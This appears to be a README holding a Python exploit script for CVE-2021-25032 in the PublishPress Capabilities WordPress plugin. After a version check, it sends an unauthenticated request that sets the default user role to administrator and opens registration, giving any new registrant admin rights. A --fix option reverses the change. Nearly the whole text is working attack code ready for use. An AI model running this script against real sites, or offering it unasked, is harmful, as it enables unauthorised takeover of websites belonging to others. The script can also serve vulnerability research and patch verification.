README.md
Rendering markdown...
#!/usr/bin/env python3
import argparse
import requests
from getpass import getpass
from bs4 import BeautifulSoup
import os
## Exploit script by @RandomRobbieBF
user_agent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
session = requests.Session()
http_proxy = ""
os.environ['HTTP_PROXY'] = http_proxy
os.environ['HTTPS_PROXY'] = http_proxy
def check_plugin_version(url):
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'}
plugin_url = ""+url+"/wp-content/plugins/capability-manager-enhanced/readme.txt"
response = requests.get(plugin_url, headers=headers,verify=False,timeout=30)
if response.status_code == 200:
content = response.text
version_line = next((line for line in content.split('\n') if line.startswith('Stable tag:')), None)
if version_line:
version = version_line.split(':')[1].strip()
if version >= '2.3.1':
print("The plugin version is 2.3.1 or above.")
exit()
else:
print("The plugin version is below 2.3.1.")
print("The plugin version is "+version+"")
return version
else:
print("Failed to find the version information in the readme.txt file.")
exit()
else:
print("Plugin not installed")
exit()
def undoadmin(url):
# Perform vulnerability check logic here
print("Vulnerability check:", url)
payloads = ['1']
main_url = f"{url}/wp-admin/admin.php"
for payload in payloads:
paramsPost = {"all_options":"default_role,users_can_register","users_can_register":"0","default_role":"subscriber","page":"pp-capabilities-settings"}
ajax_response = session.post(main_url,data=paramsPost, headers={"User-Agent": user_agent,"X-Requested-With": "XMLHttpRequest"})
ajax_response.raise_for_status()
# Check if option set successfully
if ajax_response.status_code == 200:
print(f"Options set successfully: {main_url}")
# Check if user registration is allowed
register_url = f"{url}/wp-login.php?action=register"
register_response = requests.get(register_url, headers={"User-Agent": user_agent})
if "Registration confirmation will be emailed to you" in register_response.text:
print("Error: it looks like you can still register.")
exit()
else:
print("Fixed: You can not longer register")
def vulncheck(url):
# Perform vulnerability check logic here
print("Vulnerability check:", url)
payloads = ['1']
main_url = f"{url}/wp-admin/admin.php"
for payload in payloads:
paramsPost = {"all_options":"default_role,users_can_register","users_can_register":"1","default_role":"administrator","page":"pp-capabilities-settings"}
ajax_response = session.post(main_url,data=paramsPost, headers={"User-Agent": user_agent})
ajax_response.raise_for_status()
# Check if option set successfully
if ajax_response.status_code == 302:
print(f"Options set successfully: {main_url}")
# Check if user registration is allowed
register_url = f"{url}/wp-login.php?action=register"
register_response = requests.get(register_url, headers={"User-Agent": user_agent})
if "Registration confirmation will be emailed to you" in register_response.text:
print("You can now register a user as an admin user. Remember to run --fix yes after you have registered to prevent others exploiting the site.")
exit()
else:
print("boooo")
# Add the vulnerability description as a comment
DESCRIPTION = """
PublishPress Capabilities 2.2 - 2.3.1 - Unauthenticated Arbitrary Options Update to Blog Compromise - CVE-2021-25032
The plugin does not have authorisation and CSRF checks when updating the plugin's settings via the init hook, and does not ensure that the options to be updated belong to the plugin. As a result, unauthenticated attackers could update arbitrary blog options, such as the default role and make any new registered user with an administrator role.
"""
# Use argparse to get the URL, username, and password arguments
parser = argparse.ArgumentParser(description=DESCRIPTION)
parser.add_argument("-u", "--url", help="Website URL", required=True)
parser.add_argument("-f", "--fix", help="Reset after Exploit")
args = parser.parse_args()
# Usage
if args.fix:
undoadmin(args.url)
else:
check_plugin_version(args.url)
vulncheck(args.url)